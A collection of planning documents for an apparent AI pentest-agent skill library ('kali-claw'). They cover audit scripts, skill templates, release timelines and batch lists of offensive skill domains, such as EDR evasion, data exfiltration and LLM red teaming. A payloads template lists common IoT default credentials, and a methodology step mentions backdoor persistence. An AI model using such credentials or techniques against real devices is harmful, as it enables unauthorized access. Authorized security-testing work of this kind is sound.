    • 决策：2026-08-06 候选评估的两个 P1（PQC 实施层攻击 + Kyber 勒索软件，各 36/75）合并为 1 个新域 pqc-implementation-attack，而非 2 个独立 SKILL——探索发现 Kyber 协议层已充分覆盖（两大量子技能合计提及 100+ 次），真缺口集中在实现层
    • 范围纪律：实现层限定（指纹/KyberSlash 时序/单迹 SCA/故障注入/RNG 缺陷/combiner 审查/勒索软件分诊）；协议与迁移内容交叉引用既有技能，KyberSlash 内容查重独有
    • 薄壳退役：quantum-cryptography-transition（59 分，payloads 86 行占位符）→ 独有组织侧矩阵并入 post-quantum-migration-attack，目录删除（git 可找回）
    • CVE 纪律：payloads §2.3 强制 NVD 核验门——实现层 CVE 记忆精度不可靠，不确定的不编号
    • 顺手修复：SKILL_INDEX.json 陈旧（缺 v0.2.4 两技能/含退役）→ 以 frontmatter 为权威全量对账 139 条
    • 出厂评估：77/100（Good），0 P1/P2；2 P3 记 backlog（0 CVEs 为刻意策略；5 TC 为出厂标准）
    • lint 保持：0/0/139（新技能四件套全绿）

    Lessons Learned

    Technical

    • Automation First: Write tools before executing batch tasks (e.g., SQLi-Labs automation)
    • Attack Chain Thinking: A single tool's value lies in its position within the attack chain; learning in isolation is inefficient
    • Hands-on Verification: Every tool must be operated practically; theoretical learning alone is insufficient to build muscle memory

    Workflow

    • Documentation as Memory: Writing things down is more reliable than remembering; memory files are the foundation of continuity
    • Chronicle System: chronicle/ helps quickly locate historical events, 30x more efficient than browsing memory files
    • Regular Archiving: Memory files older than 30 days should have their highlights extracted and then be archived to prevent file bloat
    • Three-Tier Enrichment: Prioritizing FULL enrichment for operational skills, PARTIAL for support skills, and MINIMAL for meta-skills allows systematic skill completion without bottlenecks
    • Portable Skill Design: Markdown-based skill packs work across AI agent platforms without modification — the key is configuring each platform to read existing files rather than converting them

    Key Findings

    Penetration Testing Results

    Follow-ups

    • Practice validation: execute at least 1 test case per FULL skill domain — infrastructure created (v0.1.9)
    • Cross-skill integration testing: validate multi-skill pipelines end-to-end (v0.1.10)
    • Skill quality scoring: automated metrics + baseline established (v0.1.11)
    • Skill quality improvement: 16 guides added + bugs fixed (v0.1.12)
    • SCORE.sh v2: guide quality composite metric, score inflation caps, Distinguished tier (v0.1.16)
    • Cross-skill composite attack chain scenarios: 5 kill chain scenarios designed (v0.1.16)
    • Live pentest validation: execute full attack chains on authorized targets (future)
    • AI-driven exploit development: AI-assisted payload customization (future)

    Archive Index

    The following data has been archived from MEMORY.md to dedicated files; an index is retained here.

    • Full Tool Inventory: tools/ (518 tools / 65 categories)
    • Tool Mastery Details: Raw data migrated to the above files
    • Scanned Targets: Detailed information moved to penetration/ directory
    • Learning Module Completion Records: Detailed logs in memory/ and chronicle/

    This file is maintained by you. Regularly distill highlights from daily notes.

  • kali-claw-pentest-agent/PHASE1_EXECUTION.mdmarkdown · 11.9 KB

    Phase 1 执行计划 - SKILL 库完善与质量升级

    启动日期：2026-07-17
    目标版本：v0.2.0.2 ~ v0.2.1
    状态：🚀 启动中

    📊 当前基线

    • SKILL 总数：130 个 (预期 143，差 13 个)
    • 完成度：85% (目标 95%+)
    • 工具数：518 个 Kali Linux 工具
    • 标准：Anthropic Agent Skills Open Standard

    🎯 Task 1.1: SKILL 全量质量审查

    第一步：生成完整审查报告

    # 运行完整的质量检查并生成报告
cd ~/code/kali-claw-en

# 检查所有 SKILL 的前言完整性
python3 validation/update-skill-standard.py --repair --dry-run > audit-draft.txt

# 生成缺失项目清单
find skills -name "SKILL.md" -exec grep -L "^name:" {} \; > missing-frontmatter.txt

# 统计防御视角完成率
find skills -name "SKILL.md" -exec grep -l "## Defense Perspective" {} \; | wc -l
# 结果应该是现有数字，然后统计缺失数
find skills -name "SKILL.md" | wc -l

    第二步：逐个审查高优先级 SKILL

    优先级排序（按使用频率和实战价值）：

    优先级SKILL理由预期工作量
    P0Web Security最高频使用 (XSS/SQLi/SSRF/Auth)高
    P0Network Penetration标准渗透流程高
    P0Post-Exploitation实战必备中
    P1OSINT信息收集基础中
    P1Password Attack通用技能中
    P1Privilege Escalation权限提升高
    P1Phishing & Social Engineering初期入口中
    P1API Security现代应用必备中
    P1Cloud Security云化趋势中
    P1Container SecurityDocker/K8s中

    第三步：补齐缺失内容

    每个高优先级 SKILL 需要检查：

    • YAML 前言完整（name, description, compatibility, allowed-tools, metadata）
    • ## Summary 存在且简洁（2-3 句）
    • ## Core Tools 列表完整（至少 5 个）
    • ## Methodology 步骤清晰（5-8 步）
    • ## Defense Perspective 已补齐（关键缺失项）
    • ## Practical Steps 详细可行
    • payloads.md 至少 10 个 PoC
    • test-cases.md 符合 AAA 模式（5-8 个）
    • guides/ 目录（可选但推荐）

    输出物

    生成时间线：

    • 2026-07-18 中午：完成缺失项目清单（missing-items.json）
    • 2026-07-19 下午：完成修复优先级表（fix-priority.json）
    • 2026-07-22：完成审查报告（audit-report.md）

    输出文件：

    kali-claw-en/
├── AUDIT_REPORT_2026-07-22.md          # 完整审查报告
├── missing-items.json                   # 缺失项清单 {skill: [missing_fields]}
├── fix-priority.json                    # 修复优先级和预估工作量
└── HIGH_PRIORITY_SKILLS.md             # 高优先级 SKILL 清单 + 执行计划

    🛠️ Task 1.2: 高优先级 SKILL 补齐

    补齐流程（per SKILL）

    以 web-security 为例：

    cd ~/code/kali-claw-en/skills/web-security

# 1. 检查前言
head -20 SKILL.md

# 2. 检查缺失的 ## 节点
grep "^## " SKILL.md

# 3. 补齐内容（如果缺失 Defense Perspective）
cat >> SKILL.md << 'EOF'

## Defense Perspective

### 防守者的视角
- Web 应用防火墙 (WAF) 规则配置
- 输入/输出验证和净化
- CSRF token 和 SameSite cookie
- 内容安全策略 (CSP)
- 数据加密和传输安全

### 检测方法
- 异常流量模式（扫描工具特征）
- SQL 注入检测（参数异常、注释字符）
- XSS 检测（HTML 实体转义、脚本标签）
- 文件包含检测（../、文件协议）

### 响应步骤
1. 禁用易受攻击的功能
2. 修复代码中的漏洞
3. 更新 WAF 规则
4. 审计日志发现异常
5. 对用户进行安全教育
EOF

# 4. 验证标准
python3 ../validation/update-skill-standard.py --skill web-security

# 5. 提交
git add SKILL.md payloads.md test-cases.md
git commit -m "refactor: enhance web-security SKILL with defense perspective & tools update"

    补齐周期

    • Week 1（7.22-7.26）：P0 SKILL（Web/Network/Post-Exploitation）
    • Week 2（7.29-8.02）：P1 SKILL 前 5 个
    • Week 3（8.05-8.09）：P1 SKILL 后 5 个 + 遗漏修复

    完成标准

    • 15 个 SKILL 完成度达 95%+
    • 所有必填字段齐全
    • 防御视角每个都有
    • payloads 和 test-cases 符合标准

    🚀 Task 1.3: 新 SKILL 扩展 (7+ 个)

    新 SKILL 候选

    新增需求分析：当前 130 个 SKILL 的空白点：

    # 统计各 domain 下的 SKILL 数
find skills -type d -maxdepth 1 | sed 's/.*\///' | sort | uniq -c

# 按类别统计
grep -h "^domain:" skills/*/SKILL.md | sort | uniq -c | sort -rn

    候选列表（按优先级）：

    #SKILL 名称原因工作量
    1IoT Security PentestWave 12 计划；物联网设备渗透中
    2Blockchain Smart Contract AuditDeFi 漏洞分析高
    3Threat Intelligence Platform IntegrationTI 运营必备中
    4Malware Reverse Engineering Advanced高级样本分析高
    5Red Team InfrastructureC2 搭建、代理隧道高
    6Data Exfiltration & Anti-DLP数据外泄技术中
    7Advanced Post-Exploitation横向移动、权限维持中

    创建流程

    cd ~/code/kali-claw-en

# 模板
mkdir -p skills/iot-security-pentest
cd skills/iot-security-pentest

# 1. 生成 SKILL.md 框架
cat > SKILL.md << 'EOF'
---
name: iot-security-pentest
description: Comprehensive IoT device penetration testing methodology, tools, and techniques
compatibility:
  - kali-linux
  - arm64
  - x86_64
allowed-tools:
  - nmap
  - hydra
  - wireshark
  - firmwalker
  - binwalk
metadata:
  domain: IoT Security
  difficulty: advanced
  time-estimate: "2-4 hours per target"
  version: "1.0.0"
  last-update: "2026-07-17"
---

## Summary

IoT device penetration testing covers network reconnaissance, firmware extraction and analysis, default credential exploitation, firmware flashing, and post-exploitation persistence. This SKILL focuses on ARM/MIPS-based IoT devices commonly found in networks.

## Core Tools

- **nmap** - Network enumeration and service detection
- **hydra** - Credential brute-forcing
- **binwalk** - Firmware analysis and extraction
- **firmwalker** - Firmware static analysis
- **qemu** - Firmware emulation and execution
- **openocd** - JTAG debugging
- **wireshark** - Network traffic analysis
- **burp-suite** - Web interface testing

## Methodology

1. **Asset Discovery** - Scan network for IoT devices
2. **Service Enumeration** - Identify open ports, services, firmware version
3. **Default Credential Check** - Test common default credentials
4. **Firmware Extraction** - UART, JTAG, or web-based firmware download
5. **Firmware Analysis** - Strings, binwalk, IDA Pro for vulnerability search
6. **Web Interface Testing** - Exploit auth bypass, RCE, information disclosure
7. **Hardware Attack** - JTAG/UART debugging, memory extraction
8. **Persistence** - Establish foothold (backdoor, modified firmware)

## Core Tools & Techniques

[details...]

## Practical Steps

[step-by-step implementation...]

## Defense Perspective

[防守视角...]

EOF

# 2. 生成 payloads.md
cat > payloads.md << 'EOF'
# IoT Security Pentest - Payloads

## UART Communication

\`\`\`bash
# 连接 UART 终端
picocom /dev/ttyUSB0 -b 115200

# 常见默认密码
root/root
admin/admin
admin/12345
root/123456
\`\`\`

...
EOF

# 3. 生成 test-cases.md
cat > test-cases.md << 'EOF'
# IoT Security Pentest - Test Cases

## Test Case 1: Default Credentials on Web Interface

**Arrange:**
- IoT device deployed with factory defaults
- Web interface accessible on port 80/443

**Act:**
- Try common default credentials (admin/admin, root/root)

**Assert:**
- Login succeeds → **VULN**
- Login failed → **OK**

...
EOF

# 4. 验证
python3 ../validation/update-skill-standard.py --skill iot-security-pentest

    新 SKILL 周期

    • Week 2-3（7.29-8.09）：并行创建 7 个新 SKILL
    • Week 4（8.12-8.16）：测试、整合、最终审查

    完成标准

    • 7 个新 SKILL 创建完成
    • 总 SKILL 数达到 150+
    • 所有必填字段齐全
    • payloads.md 和 test-cases.md 规范

    📚 Task 1.4: 文档升级与参考输出

    输出物列表

    文档描述用途ETA
    SKILL_HANDBOOK.md143+ SKILL 使用手册用户快速查阅8.16
    QUICK_REFERENCE.md快速参考卡片实战查询8.16
    TOOLS_LIFECYCLE.md工具版本管理维护跟踪8.16
    SKILL_INDEX.json机器可读索引集成查询8.16
    DOMAIN_MATRIX.mdSKILL vs Tools 热力图覆盖分析8.16
    CHANGELOG.mdv0.2.0.2 更新说明发布说明8.20

    生成脚本

    # docs/generate-handbook.py
python3 docs/generate-handbook.py \
  --input skills/ \
  --output SKILL_HANDBOOK.md \
  --format markdown

# docs/generate-index.py
python3 docs/generate-index.py \
  --input skills/ \
  --output SKILL_INDEX.json \
  --format json

# docs/generate-matrix.py
python3 docs/generate-matrix.py \
  --input skills/ \
  --output DOMAIN_MATRIX.md \
  --tool-count 518

    ⚙️ Task 1.5: CI/CD 和自动化优化

    新脚本清单

    validation/
├── skill-lint.py              # SKILL 代码检查
├── validate-payloads.py       # Payload 验证
├── validate-testcases.py      # Test-case 验证
├── generate-skill-index.py    # 索引生成
└── skill-quality-report.py    # 质量报告

    GitHub Actions 工作流

    # .github/workflows/skill-quality.yml
name: SKILL Quality Check
on: [pull_request, push]

jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Run SKILL linter
        run: python3 validation/skill-lint.py --all
      - name: Validate payloads
        run: python3 validation/validate-payloads.py
      - name: Generate report
        run: python3 validation/skill-quality-report.py --output report.md

    📈 进度跟踪

    Phase 1 Timeline (2026-07-22 ~ 2026-08-20)
│
├─ Week 1 (7.22-7.26)
│  ├─ 1.1: Complete audit report ✓
│  ├─ 1.2: Fix P0 SKILL (Web/Network/Post-Expl)
│  └─ Status: Baseline established
│
├─ Week 2 (7.29-8.02)
│  ├─ 1.2: Fix P1 SKILL (1-5)
│  ├─ 1.3: Create new SKILL (1-4)
│  └─ Status: Major improvements in progress
│
├─ Week 3 (8.05-8.09)
│  ├─ 1.2: Fix P1 SKILL (6-10) + missing fixes
│  ├─ 1.3: Create new SKILL (5-7) + testing
│  └─ Status: Core expansion complete
│
├─ Week 4 (8.12-8.16)
│  ├─ 1.4: Generate all documentation
│  ├─ 1.5: Set up CI/CD pipelines
│  └─ Status: Final polish & automation
│
└─ Week 5 (8.19-8.23)
   ├─ Final QA and validation
   ├─ Release v0.2.0.2 ~ v0.2.1
   └─ Status: ✅ PHASE 1 COMPLETE

    🎓 关键约定

    SKILL 标准（必须遵守）

    YAML 前言必填字段：

    ---
name: <kebab-case-name>
description: <one-line-summary>
compatibility: [kali-linux, arm64, ...]
allowed-tools: [tool1, tool2, ...]
metadata:
  domain: <category>
  difficulty: beginner|intermediate|advanced
  time-estimate: "X-Y hours"
  version: "X.Y.Z"
  last-update: "YYYY-MM-DD"
---

    必需的 ## 节点：

    • Summary
    • Core Tools
    • Methodology
    • Practical Steps
    • Defense Perspective (关键)

    payloads.md 格式：

    • 至少 10 个 PoC
    • 代码块带语言标记 (bash/python/sql/etc)
    • 每个 payload 附带说明

    test-cases.md 格式：

    • AAA 模式 (Arrange-Act-Assert)
    • 5-8 个测试用例
    • 每个测试都有预期结果

    提交约定

    # 修复已有 SKILL
git commit -m "refactor(<skill-name>): <description>

- Added defense perspective
- Updated tool versions
- Enhanced payloads"

# 新增 SKILL
git commit -m "feat: add <skill-name> SKILL

- Covers <main-technique>
- 12 payloads, 6 test cases
- Tools: <tool1>, <tool2>, ..."

    执行负责人：团队
    预期交付：2026-08-23
    版本号：v0.2.0.2 ~ v0.2.1

  • kali-claw-pentest-agent/PHASE1_LAUNCH.mdmarkdown · 6.2 KB

    🚀 Phase 1 启动总结

    启动时间：2026-07-17 15:30 UTC
    项目：kali-claw v0.2.0.1 后续开发 - Phase 1 SKILL 库完善
    目标版本：v0.2.0.2 ~ v0.2.1
    预计完成：2026-08-23

    📋 任务体系

    主任务 #1：Phase 1 SKILL 库完善与质量升级

    • 状态：🟢 in_progress
    • 包含子任务：5 个
    • 预计周期：5 周（7.22 ~ 8.23）

    子任务分解

    Task #名称优先级周期状态
    1.1SKILL 全量质量审查P0Week 1🟡 Ready
    1.2高优先级 SKILL 补齐 (Top 15)P0Week 2-3⬜ Blocked
    1.3新 SKILL 扩展 (Wave 12)P1Week 2-4⬜ Blocked
    1.4文档升级与参考输出P2Week 4-5⬜ Blocked
    1.5CI/CD 和自动化优化P3Week 4-5⬜ Blocked

    📊 当前基线

    kali-claw SKILL Library Status (2026-07-17)
│
├─ Total SKILLs: 130
├─ With Frontmatter: 125+ (96%)
├─ With Defense Perspective: ~85 (65%)
├─ With payloads.md: ~128 (98%)
├─ With test-cases.md: ~122 (94%)
│
└─ Overall Completion: 85% → Target: 95%+

    🎯 3 个执行阶段

    Phase 1A：基线建立 (7.22-7.26, 1 周)

    Task 1.1 - SKILL 全量质量审查

    • 生成基线审查报告
    • 统计缺失项目
    • 优先级排序
    • 输出：audit-report.md, missing-items.json, fix-priority.json

    Phase 1B：核心补齐 (7.29-8.09, 2 周)

    Task 1.2 + 1.3 - 补齐高优先级 SKILL 并创建新 SKILL

    • 补齐 15 个高频 SKILL 到 95%+ 完成度
    • 创建 7 个新 SKILL（IoT, Blockchain, TI, 等）
    • 总 SKILL 数达到 150+
    • 输出：150+ SKILL, 高完成度

    Phase 1C：文档 & 自动化 (8.12-8.23, 2 周)

    Task 1.4 + 1.5 - 生成文档和自动化检查

    • 生成 6 个文档输出物（手册、参考、索引）
    • 创建 5 个自动化检查脚本
    • 配置 CI/CD 流程
    • 输出：完整文档系统 + 自动化工具链

    📁 核心输出物清单

    Task 1.1 (Week 1)

    ✓ BASELINE_AUDIT.md              # 基线数据快照
✓ AUDIT_REPORT_v1.md              # 完整审查报告
✓ missing-items.json              # 缺失项清单 {skill: [fields]}
✓ fix-priority.json               # 修复优先级 {skill: {P,effort}}
✓ HIGH_PRIORITY_15_SKILLS.md      # 高优先级清单

    Task 1.2 (Week 2-3)

    ✓ 15 个高优先级 SKILL 升级到 95%+
  ├─ web-security
  ├─ network-pentest
  ├─ post-exploitation
  ├─ osint
  ├─ password-attack
  ├─ privilege-escalation
  ├─ phishing-social-engineering
  ├─ api-security
  ├─ cloud-security
  ├─ container-security
  ├─ binary-reverse
  ├─ exploit-development
  ├─ payload-generation
  ├─ database-attack
  └─ firmware-reverse

    Task 1.3 (Week 2-4)

    ✓ 7 个新 SKILL 创建完成
  ├─ iot-security-pentest
  ├─ blockchain-smart-contract-audit
  ├─ threat-intelligence-integration
  ├─ malware-reverse-advanced
  ├─ red-team-infrastructure
  ├─ data-exfiltration-antidlp
  └─ advanced-post-exploitation
  
Result: 130 + 7 = 137 → Target 150+ (还需13个)

    Task 1.4 (Week 4-5)

    ✓ docs/SKILL_HANDBOOK.md          # 完整使用手册
✓ docs/QUICK_REFERENCE.md         # 快速参考卡片
✓ docs/TOOLS_LIFECYCLE.md         # 工具版本管理
✓ docs/SKILL_INDEX.json           # 机器可读索引
✓ docs/DOMAIN_MATRIX.md           # SKILL vs Tools 热力图
✓ CHANGELOG.md                    # v0.2.0.2 更新说明

    Task 1.5 (Week 4-5)

    ✓ validation/skill-lint.py        # SKILL 代码检查
✓ validation/validate-payloads.py # Payload 验证
✓ validation/validate-testcases.py # Test-case 验证
✓ .github/workflows/skill-quality.yml (可选)
✓ docs/SKILL_MAINTENANCE.md       # 维护指南

    🎬 立即行动（第一步）

    现在就可以执行的命令

    cd ~/code/kali-claw-en

# 1. 创建工作分支
git checkout -b phase1/skill-audit
git commit --allow-empty -m "chore: start Phase 1 SKILL audit and enhancement"

# 2. 生成基线数据
python3 validation/update-skill-standard.py --stats > baseline-stats.txt

# 3. 扫描缺失防御视角
echo "=== SKILLs missing Defense Perspective ==="
for f in skills/*/SKILL.md; do
  if ! grep -q "## Defense Perspective" "$f"; then
    dirname "$f" | sed 's/.*\///' >> missing-defense.txt
  fi
done
wc -l missing-defense.txt

# 4. 创建工作目录
mkdir -p phase1-audit
cd phase1-audit

# 5. 创建审查清单
touch SKILLS_TO_FIX.md
# 编辑并列出需要补齐的 15 个 SKILL

echo "✓ Phase 1 基础设施就绪！"

    📊 成功指标

    过程指标

    • Week 1 end: 基线审查报告完成
    • Week 2 end: 前 7 个 SKILL 补齐完成
    • Week 3 end: 全 15 个 SKILL 补齐 + 7 个新 SKILL 创建完成
    • Week 4 end: 所有文档生成完成
    • Week 5 end: CI/CD 自动化配置完成

    最终指标

    • SKILL 总数：≥ 150 (当前 130)
    • 完成度：≥ 95% (当前 85%)
    • 防御视角：100% (当前 65%)
    • 文档输出：6 个输出物
    • 自动化脚本：5 个检查脚本
    • 版本发布：v0.2.0.2 ~ v0.2.1

    📚 相关文档

    已创建：

    规则依据：

    • [[kali-claw-release-rhythm]] - 发布节奏
    • [[Wave 12]] 计划 - 新 SKILL 候选
    • [[CLAUDE.md]] - 项目指导

    🔗 后续阶段

    Phase 2：xAgent 原型验证 (v0.2.1 ~ v0.3)

    • 选择 3 个试点 Agent
    • 集成 rcogo 原生平台
    • 多智能体协作探索

    Phase 3：开源交付 (v0.3+)

    • xAgent 项目开源发布
    • 社区运营建立
    • 融合产品推出

    📞 反馈机制

    进度报告：每周二、四更新任务状态
    问题上报：创建 GitHub Issue 或直接提交
    建议提交：欢迎通过 Claude Code 讨论

    项目启动：✅ 2026-07-17 15:30 UTC
    预期完成：2026-08-23
    总耗时：~5 周

    🎉 Phase 1 正式启动！

  • kali-claw-pentest-agent/PHASE1_QUICK_START.mdmarkdown · 7.8 KB

    Phase 1 快速启动检查清单

    日期：2026-07-17
    状态：🚀 就绪启动

    ✅ 前置条件检查

    • kali-claw 项目结构完整 (skills/, validation/, docs/)
    • 130 个 SKILL 已创建
    • Anthropic SKILL 标准已应用
    • update-skill-standard.py 脚本可用
    • 项目 git 状态干净

    🎯 第一步：生成基线审查报告（1-2 天）

    命令序列

    cd ~/code/kali-claw-en

# 1. 检查当前 SKILL 数和前言完整性
find skills -name "SKILL.md" | wc -l
find skills -name "SKILL.md" -exec grep -l "^---" {} \; | wc -l

# 2. 扫描缺失前言的 SKILL
echo "=== SKILL without frontmatter ==="
for f in skills/*/SKILL.md; do
  if ! head -5 "$f" | grep -q "^---"; then
    dirname "$f" | sed 's/.*\///'
  fi
done

# 3. 统计防御视角完成率
echo "=== Defense Perspective completion ==="
with_defense=$(find skills -name "SKILL.md" -exec grep -l "## Defense Perspective" {} \; | wc -l)
total=$(find skills -name "SKILL.md" | wc -l)
echo "Defense Perspective: $with_defense/$total ($(( with_defense * 100 / total ))%)"

# 4. 统计 payloads.md 和 test-cases.md 完成率
echo "=== Payloads & Test-cases completion ==="
with_payloads=$(find skills -name "payloads.md" | wc -l)
with_testcases=$(find skills -name "test-cases.md" | wc -l)
echo "payloads.md: $with_payloads/$total"
echo "test-cases.md: $with_testcases/$total"

# 5. 生成初步报告
cat > BASELINE_AUDIT.md << 'EOF'
# SKILL 库基线审查报告 (2026-07-17)

## 数据快照

| 指标 | 数值 | 完成度 |
|------|------|--------|
| 总 SKILL 数 | $(find skills -name "SKILL.md" \| wc -l) | 100% |
| 有 YAML 前言 | $(find skills -name "SKILL.md" -exec grep -l "^---" {} \; \| wc -l) | ? |
| 防御视角 | ? | ? |
| payloads.md | ? | ? |
| test-cases.md | ? | ? |

## 缺失项汇总

[自动生成...]

## 优先级修复列表

[自动生成...]
EOF

echo "✓ Baseline audit report generated: BASELINE_AUDIT.md"

    预期输出

    SKILL 库基线（2026-07-17）:
├─ 总数: 130
├─ 前言完整: 125 (96%)
├─ 防御视角: 85 (65%)  ← 需要补齐
├─ payloads.md: 128 (98%)
├─ test-cases.md: 122 (94%)
└─ 完成度: 85% → 目标 95%+

    📋 Task 1.1 工作清单

    Week 1 (7.22-7.26)

    • 7.22 (周一)

      • 8:00 - 生成基线审查报告
      • 10:00 - 统计缺失项 (防御视角、工具版本)
      • 下午 - 创建修复优先级清单

    • 7.23 (周二)

      • 上午 - 审查 Web Security, Network Pentest, Post-Exploitation
      • 下午 - 标记缺失内容

    • 7.24-7.26 (周三-周五)

      • 整合反馈
      • 最终审查报告
      • 生成 audit-report.md, missing-items.json, fix-priority.json

    输出物清单

    kali-claw-en/
├── BASELINE_AUDIT.md                    # 基线数据
├── AUDIT_REPORT_v1.md                   # 完整审查报告
├── missing-items.json                   # {skill: [missing_fields]}
├── fix-priority.json                    # {skill: {priority, effort, ...}}
└── HIGH_PRIORITY_15_SKILLS.md          # 15 个高优先级 SKILL 清单

    🛠️ Task 1.2 工作清单（依赖 1.1）

    Week 2 (7.29-8.02) - P0 SKILL

    高优先级 SKILL 补齐（3 个 P0）：

    1. web-security

      • 添加/完善防御视角
      • 补充 XSS/SQLi/SSRF 的最新 Payload
      • 更新工具版本 (burp-suite, zaproxy)
      • 规范 test-cases.md

    2. network-pentest

      • 同上

    3. post-exploitation

      • 同上

    Week 3 (8.05-8.09) - P1 SKILL

    继续补齐 P1 SKILL (1-10)：

    • osint
    • password-attack
    • privilege-escalation
    • phishing-social-engineering
    • api-security
    • cloud-security
    • container-security
    • binary-reverse
    • exploit-development
    • payload-generation

    完成标准

    • 15 个 SKILL 完成度 ≥ 95%
    • 所有防御视角已补齐
    • 所有工具版本更新到 2026-07
    • payloads 和 test-cases 规范化

    🚀 Task 1.3 工作清单（并行执行）

    Week 2-3 新 SKILL 创建（7 个）

    • iot-security-pentest (中等)
    • blockchain-smart-contract-audit (高)
    • threat-intelligence-integration (中等)
    • malware-reverse-advanced (高)
    • red-team-infrastructure (高)
    • data-exfiltration-antidlp (中等)
    • advanced-post-exploitation (中等)

    每个 SKILL 的检查清单

    • SKILL.md 框架完成

      • YAML 前言完整
      • Summary (2-3 句)
      • Core Tools (5+)
      • Methodology (5-8 步)
      • Practical Steps 详细
      • Defense Perspective

    • payloads.md (10+ PoC)

    • test-cases.md (5-8 测试)

    • guides/ (可选，推荐)

    • 运行验证：update-skill-standard.py --skill <name>

    • Git commit with proper message

    📚 Task 1.4 工作清单（Week 4）

    文档生成

    • 创建 docs/generators/ 目录
    • generate-handbook.py - SKILL 使用手册
    • generate-quick-ref.py - 快速参考卡片
    • generate-matrix.py - Tools vs SKILL 热力图
    • generate-index.py - JSON 索引

    输出文档

    • docs/SKILL_HANDBOOK.md (完整使用手册)
    • docs/QUICK_REFERENCE.md (速查表)
    • docs/TOOLS_LIFECYCLE.md (工具版本管理)
    • docs/SKILL_INDEX.json (机器可读)
    • docs/DOMAIN_MATRIX.md (覆盖分析)
    • CHANGELOG.md (v0.2.0.2 更新说明)

    ⚙️ Task 1.5 工作清单（Week 4-5）

    脚本开发

    • validation/skill-lint.py - SKILL 代码检查

      • 检查 YAML 前言语法
      • 验证 markdown 格式
      • 检查必填字段

    • validation/validate-payloads.py - Payload 验证

      • 语法检查
      • 工具命令有效性
      • 重复项检测

    • validation/validate-testcases.py - Test-case 验证

      • AAA 模式检查
      • 预期结果明确

    GitHub Actions (可选)

    • .github/workflows/skill-quality.yml
      • PR 检查
      • 自动索引生成
      • 质量报告上传

    维护指南

    • docs/SKILL_MAINTENANCE.md
      • SKILL 创建 checklist
      • 更新流程
      • 工具版本更新指南
      • 常见问题 FAQ

    📊 关键数据收集

    每日报告模板（简化版）

    === Phase 1 Daily Report ===
Date: 2026-07-XX
Day: Task 1.2 (补齐 SKILL)

Completed:
- [ ] 3 SKILL 完成度提升到 95%+
- [ ] 防御视角补齐: +5 SKILL
- [ ] Payload 更新: +10 PoC

Blocked:
- [ ] 工具版本信息 (需要 Kali 官方确认)

Next:
- [ ] 继续 P1 SKILL (password-attack)
- [ ] 开始新 SKILL (iot-security)

Velocity: 3 SKILL/day

    🎯 成功标志

    Phase 1 完成 当：

    • Task 1.1 完成 - 审查报告 ✓
    • Task 1.2 完成 - 15 SKILL 补齐到 95%
    • Task 1.3 完成 - 7 个新 SKILL 创建
    • Task 1.4 完成 - 6 个文档输出
    • Task 1.5 完成 - CI/CD 自动化

    最终指标：

    • SKILL 总数 ≥ 150
    • 完成度 ≥ 95%
    • 所有文档输出完成
    • 自动化检查可用

    🚀 立即开始

    第一行代码（现在就可以执行）：

    cd ~/code/kali-claw-en

# Step 1: 生成基线
python3 validation/update-skill-standard.py --stats > baseline.txt
cat baseline.txt

# Step 2: 统计缺失项
echo "=== Scanning SKILL completeness ==="
for dir in skills/*/; do
  skill=$(basename "$dir")
  has_defense=$(grep -l "## Defense Perspective" "$dir/SKILL.md" 2>/dev/null)
  [ -z "$has_defense" ] && echo "Missing: $skill (Defense Perspective)"
done

# Step 3: 创建工作 branch
git checkout -b phase1/skill-audit
git commit --allow-empty -m "chore: start Phase 1 SKILL library audit and enhancement"
git push -u origin phase1/skill-audit

# Step 4: 开始工作
echo "✓ Phase 1 启动完成！"
echo "Next: 运行 BASELINE_AUDIT 脚本"

    预计启动时间：2026-07-17 晚间
    首个 milestone：2026-07-22 (基线审查报告)
    完成时间：2026-08-23 (Phase 1 完成)

  • kali-claw-pentest-agent/PHASE2_PROGRESS.mdmarkdown · 5.9 KB

    Phase 2 标准化进度跟踪

    ⚠️ DEPRECATED（2026-09-04）：本文件是 2026-07 的批次跟踪快照，已停止更新。 Phase 2 标准化已于 2026-07-30 全部完成（139/139 通过 skill-lint，Defense Triple 结构性 100% 合规）。 当前权威进度来源：

    • 版本/里程碑：RELEASE-vX.Y.Z.md 系列 + CHANGELOG.md
    • 质量状态：python3 validation/skill-lint.py --json
    • 月度事件：chronicle/YYYY-MM/
    • 评估项目进度：各 SKILL guides/usage-and-assessment.md

    以下正文保留作为历史快照。

    任务：Task 1.2 Phase 2 — 95 个非高优先级 SKILL 标准化
    分支：phase2/standardization
    启动日期：2026-07-24
    预估工时：28h（7-10 工作日）

    📋 工作目标

    对 95 个非高优先级 SKILL 应用统一标准：

    1. ✅ YAML 前言完整（version, last_reviewed）
    2. ✅ 翻译残留清零
    3. ✅ ## Detection Methods 章节存在
    4. ✅ ## Defense Evasion Techniques 章节存在
    5. ✅ Defense Perspective 表格化
    6. ✅ 版本统一至 v0.2.0.2

    📊 批次计划（每批 10 个 SKILLs）

    Batch 1 — 网络与 AD 攻击域（10 个）

    • 5g-telecom-attack
    • ad-cs-abuse
    • ad-ldap-attack
    • agentic-pentest
    • ai-agent-framework-attack
    • ai-agent-security
    • ai-fuzzing
    • ai-security
    • anti-forensics
    • automotive-vehicle-security

    Batch 2 — 智能体与区块链（10 个）

    • autonomous-loops
    • av-edr-evasion
    • blockchain-l2-attack
    • blockchain-web3
    • bluetooth-rfid-nfc
    • browser-qa
    • chronicle
    • ci-cd-supply-chain-attack
    • cloud-identity-attack
    • cloud-native-vuln-research

    Batch 3 — 云与代码（10 个）

    • cms-framework-attack
    • codebase-onboarding
    • command-injection-advanced
    • concurrency-exploitation
    • confidential-computing-attack
    • continuous-learning
    • council
    • cps-attack
    • crypto-attacks
    • cspm-casb-attack

    Batch 4 — 数据与检测（10 个）

    • darkweb-intel
    • data-exfiltration-attack
    • data-platform-attack
    • data-scraper-agent
    • database-attack
    • deception-honeypot
    • deep-research
    • detection-engineering
    • digital-forensics
    • dns-attacks

    Batch 5 — Docker 与边缘（10 个）

    • docker-patterns
    • edge-computing-attack
    • email-protocol-attack
    • email-security-deep
    • embedded-rtos-security
    • engagement-manager
    • exa-search
    • file-inclusion
    • firmware-reverse
    • game-anticheat-bypass

    Batch 6 — GitOps 与硬件（10 个）

    • gitops-security
    • hardware-security
    • hf-vhf-radio-attack
    • hsm-attack
    • hypervisor-introspection
    • ics-fieldbus-attack
    • insecure-design
    • iot-pentest
    • knowledge-ops
    • kubernetes-attack

    Batch 7 — LLM 与移动（10 个）

    • llm-red-team
    • logging-monitoring
    • macos-security
    • mainframe-security
    • malware-analysis-advanced
    • mcp-server-patterns
    • mobile-app-instrumentation
